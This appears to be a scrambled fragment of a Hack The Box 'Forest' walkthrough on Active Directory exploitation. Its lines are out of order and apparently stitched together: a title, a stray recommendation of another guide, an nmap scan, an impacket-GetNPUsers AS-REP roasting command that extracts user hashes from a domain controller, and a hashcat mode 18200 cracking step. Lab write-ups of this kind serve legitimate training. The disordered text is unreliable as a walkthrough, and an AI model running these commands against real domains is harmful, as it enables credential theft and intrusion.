Save the hash in hash.txt and use hashcat (mode 18200):
: A top choice for those wanting to avoid Metasploit. She provides a step-by-step guide using manual techniques and PowerShell .
sudo nmap -p- -T4 -Pn -oN forest_nmap_all 10.10.10.161
Forest HackTheBox Walkthrough: Mastering Active Directory Exploitation
impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -usersfile users.txt -format hashcat -outputfile asreproast.hashes